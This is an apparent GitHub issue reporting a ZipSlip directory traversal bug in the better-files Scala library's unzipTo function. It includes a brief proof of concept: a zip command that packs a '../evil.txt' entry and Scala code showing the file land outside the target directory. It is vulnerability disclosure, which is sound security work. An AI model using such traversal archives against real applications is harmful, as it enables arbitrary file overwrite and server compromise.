Directory Traversal Issue in File.unzipTo

[sandumjacob]

Issue Description

There is a directory traversal issue in the unzipTo function in File.scala. The issue allows a zip file containing path traversal filenames to write outside the target directory. This can result in applications using better-files to be vulnerable to arbitrary file write/overwrite. This sort of vulnerability can result in tampering exploits to full system takeover of the application server.

ZipSlip Vulnerability

Proof of Concept

To create bad.zip, run the following command with good.txt in the current directory and evil.txt in the directory above the current directory.

zip bad.zip good.txt ../evil.txt

poc.scala

import better.files._
import File._
val f1 = File("bad.zip")
val tempdir = File.temporaryDirectory()
f1.unzipTo(tempdir.get())

Observe that good.txt is written to the tempdir and evil.txt is written to a directory above the tempdir.

/tmp/12345/good.txt
/tmp/evil.txt

[pathikrit]

Duplicate of #256